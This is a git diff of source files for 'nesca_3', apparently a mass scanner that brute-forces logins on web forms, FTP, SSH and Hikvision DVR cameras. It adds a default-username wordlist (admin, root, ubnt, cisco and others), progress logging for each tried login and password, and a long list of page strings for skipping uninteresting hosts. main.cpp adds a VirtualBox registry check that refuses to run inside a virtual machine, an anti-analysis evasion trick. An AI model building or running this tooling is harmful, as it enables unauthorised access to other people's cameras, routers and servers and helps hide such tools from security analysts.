|| Utils::ustrstr(buffer, "401 unauthorized") != -1
|
||||||
|
5
Utils.h
5
Utils.h
@ -5,6 +5,7 @@
|
|||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
#include <qstring.h>
|
#include <qstring.h>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
#include <qdatetime.h>
|
||||||
|
|
||||||
using namespace std;
|
using namespace std;
|
||||||
|
|
||||||
@ -23,6 +24,7 @@ private:
|
|||||||
};
|
};
|
||||||
|
|
||||||
class Utils {
|
class Utils {
|
||||||
|
private: static std::string startDate;
|
||||||
public:
|
public:
|
||||||
static int isDigest(const std::string *buffer);
|
static int isDigest(const std::string *buffer);
|
||||||
|
|
||||||
@ -82,6 +84,9 @@ public:
|
|||||||
static std::string getStrValue(const std::string &data, const std::string &delim1, const std::string &delim2);
|
static std::string getStrValue(const std::string &data, const std::string &delim1, const std::string &delim2);
|
||||||
static std::vector<std::string> splitToStrVector(const std::string &s, char delim);
|
static std::vector<std::string> splitToStrVector(const std::string &s, char delim);
|
||||||
static std::vector<int> splitToIntVector(const std::string &s, char delim);
|
static std::vector<int> splitToIntVector(const std::string &s, char delim);
|
||||||
|
static void saveStartDate();
|
||||||
|
static std::string getStartDate();
|
||||||
|
static void emitScaryError();
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // UTILS_H
|
#endif // UTILS_H
|
||||||
|
@ -28,8 +28,6 @@ lopaStr WFClass::parseResponse(const char *ip,
|
|||||||
&& Utils::ustrstr(*buffer, std::string("forbidden")) == -1
|
&& Utils::ustrstr(*buffer, std::string("forbidden")) == -1
|
||||||
) {
|
) {
|
||||||
|
|
||||||
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
|
|
||||||
QString(login) + ":" + QString(pass));
|
|
||||||
strcpy(result.login, login);
|
strcpy(result.login, login);
|
||||||
strcpy(result.pass, pass);
|
strcpy(result.pass, pass);
|
||||||
return result;
|
return result;
|
||||||
@ -56,6 +54,7 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
|||||||
lopaStr result = {"UNKNOWN", "", ""};
|
lopaStr result = {"UNKNOWN", "", ""};
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
int firstCycle = 0;
|
int firstCycle = 0;
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
char login[128] = {0};
|
char login[128] = {0};
|
||||||
char pass[32] = {0};
|
char pass[32] = {0};
|
||||||
@ -84,10 +83,17 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
|||||||
Connector con;
|
Connector con;
|
||||||
if(con.nConnect(nip, port, &buffer) <= 0) return result;
|
if(con.nConnect(nip, port, &buffer) <= 0) return result;
|
||||||
|
|
||||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
|
if (BALogSwitched) {
|
||||||
"; login/pass: "+ QString(login) + ":" + QString(pass) +
|
if (rowIndex == -1) {
|
||||||
"; - Progress: (" +
|
//stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port),
|
||||||
QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
// QString(login) + ":" + QString(pass),
|
||||||
|
// QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
result = parseResponse(ip, port, &buffer, formVal, login, pass);
|
result = parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||||
if(i == 0) ++i;
|
if(i == 0) ++i;
|
||||||
@ -108,6 +114,7 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
|||||||
lopaStr result = {"UNKNOWN", "", ""};
|
lopaStr result = {"UNKNOWN", "", ""};
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
int firstCycle = 0;
|
int firstCycle = 0;
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
char login[128] = {0};
|
char login[128] = {0};
|
||||||
char pass[32] = {0};
|
char pass[32] = {0};
|
||||||
@ -138,9 +145,17 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
|||||||
Connector con;
|
Connector con;
|
||||||
if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
|
if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
|
||||||
|
|
||||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
|
if (BALogSwitched) {
|
||||||
QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
if (rowIndex == -1) {
|
||||||
QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
//stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port),
|
||||||
|
// QString(login) + ":" + QString(pass),
|
||||||
|
// QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
++passCounter;
|
++passCounter;
|
||||||
|
|
||||||
return parseResponse(ip, port, &buffer, formVal, login, pass);
|
return parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||||
|
@ -24,7 +24,7 @@ public:
|
|||||||
if(gMaxBrutingThreads > 0) {
|
if(gMaxBrutingThreads > 0) {
|
||||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
|
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
|
||||||
|
|
||||||
++WF;
|
//++WF;
|
||||||
|
|
||||||
++BrutingThrds;
|
++BrutingThrds;
|
||||||
//BConInc();
|
//BConInc();
|
||||||
|
20
externData.h
20
externData.h
@ -24,20 +24,26 @@ extern QJsonArray *jsonArr;
|
|||||||
extern unsigned long long gTargetsNumber;
|
extern unsigned long long gTargetsNumber;
|
||||||
extern long long unsigned int gTargets;
|
extern long long unsigned int gTargets;
|
||||||
extern std::atomic<int> cons, BrutingThrds, gThreads;
|
extern std::atomic<int> cons, BrutingThrds, gThreads;
|
||||||
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst;
|
extern char **loginLst, **passLst,
|
||||||
|
**wfLoginLst, **wfPassLst,
|
||||||
|
**ftpLoginLst, **ftpPassLst,
|
||||||
|
**sshlpLst;
|
||||||
extern bool trackerOK, globalScanFlag, MapWidgetOpened,
|
extern bool trackerOK, globalScanFlag, MapWidgetOpened,
|
||||||
widgetIsHidden, gNegDebugMode,
|
widgetIsHidden, gNegDebugMode,
|
||||||
gDebugMode, horLineFlag, gPingNScan, gShuffle,
|
gDebugMode, horLineFlag, gPingNScan, gShuffle,
|
||||||
BALogSwitched;
|
BALogSwitched;
|
||||||
extern int found, indexIP, gMode,
|
extern int found, indexIP, gMode,
|
||||||
MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass,
|
MaxPass, MaxLogin,
|
||||||
|
MaxWFLogin, MaxWFPass,
|
||||||
|
MaxFTPLogin, MaxFTPPass,
|
||||||
|
MaxSSHPass,
|
||||||
gMaxBrutingThreads,
|
gMaxBrutingThreads,
|
||||||
gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH,
|
gTimeOut, PieCamerasC1, PieOther, PieBA, PieSSH,
|
||||||
AnomC1, filtered, Overl, Lowl, Alive, saved,
|
camerasC1, filtered, Overl, Alive, saved,
|
||||||
Susp,
|
other,
|
||||||
WF,
|
|
||||||
baCount,
|
baCount,
|
||||||
ssh, globalPinger, gPingTimeout;
|
ssh, globalPinger, gPingTimeout,
|
||||||
|
cIndex;
|
||||||
extern unsigned int Activity;
|
extern unsigned int Activity;
|
||||||
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
|
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
|
||||||
trcPort[32], trcSrvPortLine[32],
|
trcPort[32], trcSrvPortLine[32],
|
||||||
|
3540
finder.cpp
3540
finder.cpp
File diff suppressed because it is too large
Load Diff
38
login.txt
38
login.txt
@ -0,0 +1,38 @@
|
|||||||
|
admin
|
||||||
|
root
|
||||||
|
123123
|
||||||
|
123456
|
||||||
|
12345
|
||||||
|
ubnt
|
||||||
|
|
||||||
|
|
||||||
|
cisco
|
||||||
|
super
|
||||||
|
meinsm
|
||||||
|
monitor
|
||||||
|
test
|
||||||
|
support
|
||||||
|
1234
|
||||||
|
administrator
|
||||||
|
qwerty
|
||||||
|
recovery
|
||||||
|
system
|
||||||
|
naadmin
|
||||||
|
master
|
||||||
|
guest
|
||||||
|
backup
|
||||||
|
0000
|
||||||
|
1111
|
||||||
|
123321
|
||||||
|
123321123
|
||||||
|
111111
|
||||||
|
222222
|
||||||
|
333333
|
||||||
|
444444
|
||||||
|
666666
|
||||||
|
888888
|
||||||
|
88888888
|
||||||
|
999999
|
||||||
|
777777
|
||||||
|
555555
|
||||||
|
111222333
|
79
main.cpp
79
main.cpp
@ -1,32 +1,79 @@
|
|||||||
#include "nesca_3.h"
|
#include "nesca_3.h"
|
||||||
#include <QApplication>
|
#include <QApplication>
|
||||||
#include <qfontdatabase.h>
|
#include <qfontdatabase.h>
|
||||||
|
#include <QMessageBox.h>
|
||||||
|
#include <qpixmap.h>
|
||||||
|
#include "Utils.h"
|
||||||
|
|
||||||
int main(int argc, char *argv[])
|
int main(int argc, char *argv[])
|
||||||
{
|
{
|
||||||
QApplication a(argc, argv);
|
bool isWM = false;
|
||||||
|
DWORD Type;
|
||||||
|
char value[512] = { 0 };
|
||||||
|
char resultString[512] = { 0 };
|
||||||
|
HKEY hkey;
|
||||||
|
if (RegOpenKey(HKEY_LOCAL_MACHINE,
|
||||||
|
TEXT("HARDWARE\\DESCRIPTION\\System"), &hkey) == ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
DWORD value_length = 512;
|
||||||
|
RegQueryValueEx(hkey, L"VideoBiosVersion", 0, &Type, (BYTE*)&value, &value_length);
|
||||||
|
RegCloseKey(hkey);
|
||||||
|
|
||||||
QStringList list;
|
for (int i = 0, j = 0; i < 256; ++i, j += 2) {
|
||||||
list << "small_font.ttf";
|
char ch = value[j];
|
||||||
int fontID(-1);
|
if (ch != '\0') {
|
||||||
bool fontWarningShown(false);
|
resultString[i] = ch;
|
||||||
for (QStringList::const_iterator constIterator = list.constBegin(); constIterator != list.constEnd(); ++constIterator) {
|
|
||||||
QFile res(":/nesca_3/" + *constIterator);
|
|
||||||
if (res.open(QIODevice::ReadOnly) == false) {
|
|
||||||
if (fontWarningShown == false) {
|
|
||||||
fontWarningShown = true;
|
|
||||||
}
|
}
|
||||||
} else {
|
else {
|
||||||
fontID = QFontDatabase::addApplicationFontFromData(res.readAll());
|
resultString[i] = '\n';
|
||||||
if (fontID == -1 && fontWarningShown == false) {
|
|
||||||
fontWarningShown = true;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
resultString[256] = '\0';
|
||||||
}
|
}
|
||||||
|
if (strstr(resultString, "VirtualBox") ||
|
||||||
|
strstr(resultString, "virtualbox")) {
|
||||||
|
isWM = true;
|
||||||
|
};
|
||||||
|
|
||||||
nesca_3 *gui = new nesca_3();
|
QApplication a(argc, argv);
|
||||||
|
|
||||||
gui->showNormal();
|
if (isWM) {
|
||||||
|
QMessageBox msgBox(
|
||||||
|
QMessageBox::Information,
|
||||||
|
"Nope",
|
||||||
|
"");
|
||||||
|
QPalette palette;
|
||||||
|
palette.setBrush(QPalette::Background, Qt::cyan);
|
||||||
|
msgBox.setIconPixmap(QPixmap(":/nesca_3/xc.jpg"));
|
||||||
|
msgBox.setPalette(palette);
|
||||||
|
msgBox.setVisible(true);
|
||||||
|
msgBox.exec();
|
||||||
|
} else {
|
||||||
|
QStringList list;
|
||||||
|
list << "small_font.ttf";
|
||||||
|
int fontID(-1);
|
||||||
|
bool fontWarningShown(false);
|
||||||
|
for (QStringList::const_iterator constIterator = list.constBegin(); constIterator != list.constEnd(); ++constIterator) {
|
||||||
|
QFile res(":/nesca_3/" + *constIterator);
|
||||||
|
if (res.open(QIODevice::ReadOnly) == false) {
|
||||||
|
if (fontWarningShown == false) {
|
||||||
|
fontWarningShown = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
fontID = QFontDatabase::addApplicationFontFromData(res.readAll());
|
||||||
|
if (fontID == -1 && fontWarningShown == false) {
|
||||||
|
fontWarningShown = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
nesca_3 *gui = new nesca_3(isWM, 0);
|
||||||
|
if (isWM) {
|
||||||
|
Utils::emitScaryError();
|
||||||
|
}
|
||||||
|
gui->showNormal();
|
||||||
|
}
|
||||||
return a.exec();
|
return a.exec();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,6 +1,5 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#include "base64.h"
|
#include "base64.h"
|
||||||
|
|
||||||
#include <libssh/libssh.h>
|
#include <libssh/libssh.h>
|
||||||
#include <curl/curl.h>
|
#include <curl/curl.h>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
@ -9,6 +8,9 @@
|
|||||||
#include <time.h>
|
#include <time.h>
|
||||||
#include <process.h>
|
#include <process.h>
|
||||||
#include <conio.h>
|
#include <conio.h>
|
||||||
|
#include <direct.h>
|
||||||
|
|
||||||
|
#define GetCurrentDir _getcwd
|
||||||
#else
|
#else
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
@ -28,7 +30,9 @@
|
|||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <math.h>
|
#include <math.h>
|
||||||
#include <cstring>
|
#include <cstring>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#define GetCurrentDir getcwd
|
||||||
#define ZeroMemory(Destination,Length) memset((Destination),0,(Length))
|
#define ZeroMemory(Destination,Length) memset((Destination),0,(Length))
|
||||||
#define Sleep(msecs) usleep((msecs)*1000)
|
#define Sleep(msecs) usleep((msecs)*1000)
|
||||||
#define WSAGetLastError() errno
|
#define WSAGetLastError() errno
|
||||||
@ -84,7 +88,37 @@ typedef int BOOL;
|
|||||||
|
|
||||||
#define TITLE_MAX_SIZE 512
|
#define TITLE_MAX_SIZE 512
|
||||||
#define COOKIE_MAX_SIZE 1024
|
#define COOKIE_MAX_SIZE 1024
|
||||||
#define RESULT_DIR_NAME "./result_files-" __DATE__
|
#define TYPE1 "camera"
|
||||||
|
#define TYPE2 "other"
|
||||||
|
#define TYPE3 "auth"
|
||||||
|
#define TYPE4 "ftp"
|
||||||
|
#define TYPE5 "ssh"
|
||||||
|
|
||||||
|
#define PWD_LIST_FOLDER "./pwd_lists/"
|
||||||
|
#define LOGIN_FN PWD_LIST_FOLDER"login.txt"
|
||||||
|
#define PASS_FN PWD_LIST_FOLDER"pass.txt"
|
||||||
|
#define FTP_LOGIN_FN PWD_LIST_FOLDER"ftplogin.txt"
|
||||||
|
#define FTP_PASS_FN PWD_LIST_FOLDER"ftppass.txt"
|
||||||
|
#define WF_LOGIN_FN PWD_LIST_FOLDER"wflogin.txt"
|
||||||
|
#define WF_PASS_FN PWD_LIST_FOLDER"wfpass.txt"
|
||||||
|
#define SSH_PASS_FN PWD_LIST_FOLDER"sshpass.txt"
|
||||||
|
#define NEGATIVE_FN PWD_LIST_FOLDER"negatives.txt"
|
||||||
|
|
||||||
|
#define HTTP_FILE_STYLE "<style> #recvSpan{display: inline-block;width: 150px;} \
|
||||||
|
#hostSpan{display: inline-block;width: 200px;} \
|
||||||
|
body { background-color: #141414; font-family: monospace; font-size:95%;} \
|
||||||
|
#ipd{background:black;width:100%;white-space:nowrap;overflow-x:none;display:inline-block;} \
|
||||||
|
#ipd:hover{color: #909090;background:#202020;} \
|
||||||
|
#tit{text-align:center;border:1px solid #5d5d5d;} \
|
||||||
|
a{color: gray;text-decoration: underline;} \
|
||||||
|
a:focus{ outline-style: dashed;outline-width:1px; outline-color: red;}</style>"
|
||||||
|
|
||||||
|
#define HTTP_FILE_HEADER "<div id=\"tit\"><a href=\""TYPE1".html\">."TYPE1"</a> \
|
||||||
|
<a href=\""TYPE2".html\">."TYPE2"</a> \
|
||||||
|
<a href=\""TYPE3".html\">."TYPE3"</a> \
|
||||||
|
<a href=\""TYPE4".html\">."TYPE4"</a> \
|
||||||
|
<a href=\""TYPE5".html\">."TYPE5"</a> \
|
||||||
|
</div><br><br>"
|
||||||
|
|
||||||
#ifndef MAX_ADDR_LEN
|
#ifndef MAX_ADDR_LEN
|
||||||
#define MAX_ADDR_LEN 128
|
#define MAX_ADDR_LEN 128
|
||||||
@ -145,12 +179,12 @@ public:
|
|||||||
iterationCount = 0;
|
iterationCount = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int header(char *ip,
|
/*int getHeader(char *ip,
|
||||||
int port,
|
int port,
|
||||||
const char str[],
|
const char str[],
|
||||||
Lexems *l,
|
Lexems *l,
|
||||||
PathStr *ps,
|
PathStr *ps,
|
||||||
std::vector<std::string> *lst, int size);
|
std::vector<std::string> *lst, int size);*/
|
||||||
|
|
||||||
int filler(char* ip,
|
int filler(char* ip,
|
||||||
int port,
|
int port,
|
||||||
@ -172,3 +206,5 @@ typedef int(__stdcall *NET_DVR_Login_V30)(const char * sDVRIP,
|
|||||||
extern NET_DVR_Init hik_init_ptr;
|
extern NET_DVR_Init hik_init_ptr;
|
||||||
extern NET_DVR_Cleanup hik_cleanup_ptr;
|
extern NET_DVR_Cleanup hik_cleanup_ptr;
|
||||||
extern NET_DVR_Login_V30 hik_login_ptr;
|
extern NET_DVR_Login_V30 hik_login_ptr;
|
||||||
|
|
||||||
|
|
||||||
|
@ -46,7 +46,7 @@ void MSGCheckerThread::run()
|
|||||||
{
|
{
|
||||||
msgChkRunnning = true;
|
msgChkRunnning = true;
|
||||||
if (strlen(trcPersKey) != 0) _getNewMsg();
|
if (strlen(trcPersKey) != 0) _getNewMsg();
|
||||||
else { mct->doEmitionShowNewMsg(QString("No key detected.")); }
|
//else { mct->doEmitionShowNewMsg(QString("No key detected.")); }
|
||||||
Sleep(60000);
|
Sleep(60000);
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
912
negatives.txt
912
negatives.txt
@ -1 +1,911 @@
|
|||||||
|
Benvenuti!
|
||||||
|
ssl vpn
|
||||||
|
Ref1=http
|
||||||
|
hello. goodbye.
|
||||||
|
Analog Telephone Adapter
|
||||||
|
IP Dect -
|
||||||
|
AnyGate
|
||||||
|
Unable to open
|
||||||
|
WebDAV
|
||||||
|
Ruckus Wireless
|
||||||
|
Access is denied
|
||||||
|
access denied
|
||||||
|
Company Limited
|
||||||
|
àðåíäà ñåðâ
|
||||||
|
首页
|
||||||
|
51yes.com
|
||||||
|
nasne&trade
|
||||||
|
google-site-verification
|
||||||
|
áåñïëàòíûé õîñò
|
||||||
|
àíòèâèðóñ
|
||||||
|
403 forbidden
|
||||||
|
êóïèòü
|
||||||
|
X-Adblock-Key
|
||||||
|
エラー
|
||||||
|
pagerror
|
||||||
|
Error report
|
||||||
|
電話
|
||||||
|
reserveer
|
||||||
|
kontakt
|
||||||
|
ñàéò âðåìåí
|
||||||
|
ãàðàíò
|
||||||
|
ïàðê
|
||||||
|
òåëåêîì
|
||||||
|
ðåãèñòðàöèÿ
|
||||||
|
íåäîñòóïåí
|
||||||
|
document.cookie
|
||||||
|
park
|
||||||
|
You are not permitted
|
||||||
|
Adapto CMS
|
||||||
|
Account unavailable
|
||||||
|
áàëàíñ
|
||||||
|
ñðåäñòâ
|
||||||
|
íà âàøåì ñ÷åòó
|
||||||
|
àáîíåíò
|
||||||
|
xml-not-well-formed
|
||||||
|
No session
|
||||||
|
validator.w3.org
|
||||||
|
RFB 009
|
||||||
|
00;39;49mroot:
|
||||||
|
Authorization Required
|
||||||
|
.swf
|
||||||
|
ïîêóï
|
||||||
|
yadro.ru
|
||||||
|
liveinternet
|
||||||
|
DIR-100
|
||||||
|
DIR-615
|
||||||
|
DIR-140
|
||||||
|
session_login.php?reload=1
|
||||||
|
Firewall Authentication required before
|
||||||
|
Piolink Web
|
||||||
|
You are not welcome to use
|
||||||
|
Permission error
|
||||||
|
sample.org
|
||||||
|
421 FTP connection refused
|
||||||
|
No HTTP resource was found
|
||||||
|
RTDVR ActiveX
|
||||||
|
D-RMS
|
||||||
|
command not understood
|
||||||
|
baZsDJAabybWQby
|
||||||
|
report abuse
|
||||||
|
atwiki
|
||||||
|
studio
|
||||||
|
McMyAdmin
|
||||||
|
500 Syntax error
|
||||||
|
Starting WebDVR
|
||||||
|
530 Connection refused
|
||||||
|
I can break rules, too
|
||||||
|
this system is engaged
|
||||||
|
Aviso de Bloqueio
|
||||||
|
Servico nao disponivel
|
||||||
|
Content-Encoding: gzip
|
||||||
|
no connections allowed
|
||||||
|
pocket-solution
|
||||||
|
trustclick
|
||||||
|
òîðã
|
||||||
|
prelogin
|
||||||
|
service temporarily unavailable
|
||||||
|
service is temporary unavailable
|
||||||
|
service unavailable
|
||||||
|
403 - forbidden
|
||||||
|
is still available
|
||||||
|
php framework
|
||||||
|
BlueBean
|
||||||
|
Herzlich
|
||||||
|
Web-Based Configurator
|
||||||
|
Willkommen!
|
||||||
|
Error 503
|
||||||
|
not found
|
||||||
|
504 gateway timeout
|
||||||
|
Defaultpage
|
||||||
|
500 internal server error
|
||||||
|
500 - internal server error
|
||||||
|
502 bad gateway
|
||||||
|
505 http version
|
||||||
|
501 not implemented
|
||||||
|
invalid hostname
|
||||||
|
http error 400
|
||||||
|
400 ERROR
|
||||||
|
include_path=
|
||||||
|
function.require
|
||||||
|
failed to open stream
|
||||||
|
"./cgi-bin/start.cgi?UID=-1&TEMP="
|
||||||
|
408 request time-out
|
||||||
|
421 service not available
|
||||||
|
500 OOPS
|
||||||
|
Comming Soon
|
||||||
|
is sample html
|
||||||
|
/js/thickbox.js
|
||||||
|
google_ad_slot
|
||||||
|
plone
|
||||||
|
openmail
|
||||||
|
You don't have permission
|
||||||
|
institute
|
||||||
|
google-analytics.com
|
||||||
|
googlesyndication
|
||||||
|
temporarily offline
|
||||||
|
temporarily unavailable
|
||||||
|
MELOOK
|
||||||
|
>log in
|
||||||
|
.js_check.html
|
||||||
|
/about-our-site.html
|
||||||
|
/auth.
|
||||||
|
/acquittal.html
|
||||||
|
/building.html
|
||||||
|
/cart/view
|
||||||
|
/catalog/search.php
|
||||||
|
/cgi-bin/welcome.cgi
|
||||||
|
/welcome/
|
||||||
|
application/x-shockwave-flash
|
||||||
|
/customer
|
||||||
|
e-Learn
|
||||||
|
/esi.cgi?page=status-index.xml
|
||||||
|
/guarantee
|
||||||
|
.ac.jp
|
||||||
|
/html/index.asp
|
||||||
|
/iisstart.asp
|
||||||
|
/images/final-hp
|
||||||
|
/install.php
|
||||||
|
/kontakty
|
||||||
|
/manga/index.cgi
|
||||||
|
/manual/
|
||||||
|
/order
|
||||||
|
/privacy
|
||||||
|
/news
|
||||||
|
/portal-login
|
||||||
|
/product.php
|
||||||
|
/rpauth.html
|
||||||
|
/servlet/wap/login
|
||||||
|
site introuvable
|
||||||
|
shop
|
||||||
|
sell
|
||||||
|
test server
|
||||||
|
/company
|
||||||
|
/brand
|
||||||
|
/signin
|
||||||
|
/simple.html
|
||||||
|
/soap/
|
||||||
|
/support/
|
||||||
|
/terms
|
||||||
|
/ui/
|
||||||
|
/user/index.php
|
||||||
|
/weblogin.htm
|
||||||
|
/xampp/
|
||||||
|
/zimbra
|
||||||
|
:5000/
|
||||||
|
?hipname=
|
||||||
|
@bk.ru
|
||||||
|
@gmail.com
|
||||||
|
@inbox.ru
|
||||||
|
@list.ru
|
||||||
|
@mail.ru
|
||||||
|
@rambler.ru
|
||||||
|
@yandex.ru
|
||||||
|
+home_42+
|
||||||
|
+i1+
|
||||||
|
+vt_docsystem+
|
||||||
|
16 ch
|
||||||
|
a test web page
|
||||||
|
clinic
|
||||||
|
museum
|
||||||
|
It's works
|
||||||
|
Adobe GoLive
|
||||||
|
Remote Link2
|
||||||
|
about/
|
||||||
|
aboutus
|
||||||
|
about-us
|
||||||
|
about us
|
||||||
|
acceso denegado
|
||||||
|
acceso sistema
|
||||||
|
access the sharecenter
|
||||||
|
actiontec_bottom
|
||||||
|
adsense
|
||||||
|
afrekenen
|
||||||
|
ahcom tecnologia
|
||||||
|
alfresco
|
||||||
|
app service
|
||||||
|
apache_pb.gif
|
||||||
|
airties
|
||||||
|
aktualizacji
|
||||||
|
amicaweb
|
||||||
|
Alan Ad?
|
||||||
|
and supervision tool
|
||||||
|
annex b
|
||||||
|
apache http server test
|
||||||
|
apache software foundation
|
||||||
|
apache tomcat
|
||||||
|
apache ha sido instalado
|
||||||
|
application manager
|
||||||
|
apteka
|
||||||
|
arteco ivs spa
|
||||||
|
at&t
|
||||||
|
at-img634
|
||||||
|
autenticacao de acesso
|
||||||
|
auto_detect_lang.asp
|
||||||
|
aviso legal
|
||||||
|
backgroundimagecache
|
||||||
|
bad request
|
||||||
|
baidu
|
||||||
|
beratung
|
||||||
|
berneck
|
||||||
|
btnLive
|
||||||
|
business invest
|
||||||
|
best domain names
|
||||||
|
bitrix
|
||||||
|
bluedragon
|
||||||
|
blog
|
||||||
|
blog/about/
|
||||||
|
blog/comments/
|
||||||
|
bubba|2
|
||||||
|
buffalo inc
|
||||||
|
buy
|
||||||
|
cable modem
|
||||||
|
cafe
|
||||||
|
call us
|
||||||
|
calorie
|
||||||
|
cannot be displayed
|
||||||
|
cannot find
|
||||||
|
ccnwebsrvcontroller
|
||||||
|
church
|
||||||
|
canopy
|
||||||
|
casino
|
||||||
|
cautivo
|
||||||
|
check_hj.html
|
||||||
|
check_user_agent
|
||||||
|
checking javascript support
|
||||||
|
checking language
|
||||||
|
checkpoint.com
|
||||||
|
cheditor
|
||||||
|
chiliproject
|
||||||
|
check availability
|
||||||
|
citrix/xenapp
|
||||||
|
client
|
||||||
|
cloud
|
||||||
|
cmside.htm
|
||||||
|
company.
|
||||||
|
comcast business
|
||||||
|
coming soon
|
||||||
|
commercial property
|
||||||
|
configuration manager
|
||||||
|
configuration file does not
|
||||||
|
confixx
|
||||||
|
construcci
|
||||||
|
consulta
|
||||||
|
contac
|
||||||
|
come back later
|
||||||
|
contat
|
||||||
|
control de inventarios
|
||||||
|
control de solicitudes
|
||||||
|
controles de acceso
|
||||||
|
currently unavailable
|
||||||
|
cooking
|
||||||
|
coltd
|
||||||
|
co.ltd
|
||||||
|
co.,ltd
|
||||||
|
#QNAP shit
|
||||||
|
could be ipv6 addr
|
||||||
|
cp-gateway
|
||||||
|
create an account
|
||||||
|
create new account
|
||||||
|
credit
|
||||||
|
currently measuring
|
||||||
|
currently unreachable
|
||||||
|
cs3 dreamweaver
|
||||||
|
FrontPage
|
||||||
|
TESTPAGE
|
||||||
|
Too many connections
|
||||||
|
BB-HGW
|
||||||
|
OS X Lion
|
||||||
|
Inspire DVR
|
||||||
|
DVR Components Download
|
||||||
|
Homepage Builder
|
||||||
|
dashboard.css
|
||||||
|
dating
|
||||||
|
dbox
|
||||||
|
de iis
|
||||||
|
design house
|
||||||
|
de subsidios
|
||||||
|
de turismo
|
||||||
|
default page
|
||||||
|
default parallels plesk panel
|
||||||
|
default plesk page
|
||||||
|
default web
|
||||||
|
defaultwebpage
|
||||||
|
desserts
|
||||||
|
default-site
|
||||||
|
development company
|
||||||
|
development work
|
||||||
|
device configuration
|
||||||
|
default index file
|
||||||
|
dgc hotspot
|
||||||
|
dishes
|
||||||
|
docsis
|
||||||
|
docsis_system.asp
|
||||||
|
dominio
|
||||||
|
domain error
|
||||||
|
domain has been blocked
|
||||||
|
domain has been registered
|
||||||
|
domain name registration
|
||||||
|
domain registered
|
||||||
|
domainapps.com
|
||||||
|
domeny
|
||||||
|
domeingeregistreerd
|
||||||
|
down for maint
|
||||||
|
draytek corp
|
||||||
|
dreambox webcontrol
|
||||||
|
drupal
|
||||||
|
Dreamweaver MX
|
||||||
|
due to maintance
|
||||||
|
dsnextgen.com
|
||||||
|
DATA LAN DISK
|
||||||
|
TEST SITE
|
||||||
|
eap web interface
|
||||||
|
echolife
|
||||||
|
ediciones tierrazul
|
||||||
|
elipgo
|
||||||
|
emta settings
|
||||||
|
en construction
|
||||||
|
enigin plc
|
||||||
|
enigma web interface
|
||||||
|
entertainment
|
||||||
|
equipe ahcom
|
||||||
|
erro ao resolver
|
||||||
|
The requested URL
|
||||||
|
error.asp
|
||||||
|
empty page
|
||||||
|
errors.umi-cms.ru
|
||||||
|
e-trayz
|
||||||
|
evaluaciones
|
||||||
|
exchange/
|
||||||
|
ezwatch pro
|
||||||
|
education
|
||||||
|
fax
|
||||||
|
fax.
|
||||||
|
fax:
|
||||||
|
fax :
|
||||||
|
fashion
|
||||||
|
Fireworks MX
|
||||||
|
fast35xx
|
||||||
|
facebook
|
||||||
|
football
|
||||||
|
forex
|
||||||
|
forgot password
|
||||||
|
free delivery
|
||||||
|
free to play
|
||||||
|
freepbx
|
||||||
|
free-shipping
|
||||||
|
fritz!box
|
||||||
|
functioning normally
|
||||||
|
future home of
|
||||||
|
gaiyou
|
||||||
|
glassfish server
|
||||||
|
globesurfer
|
||||||
|
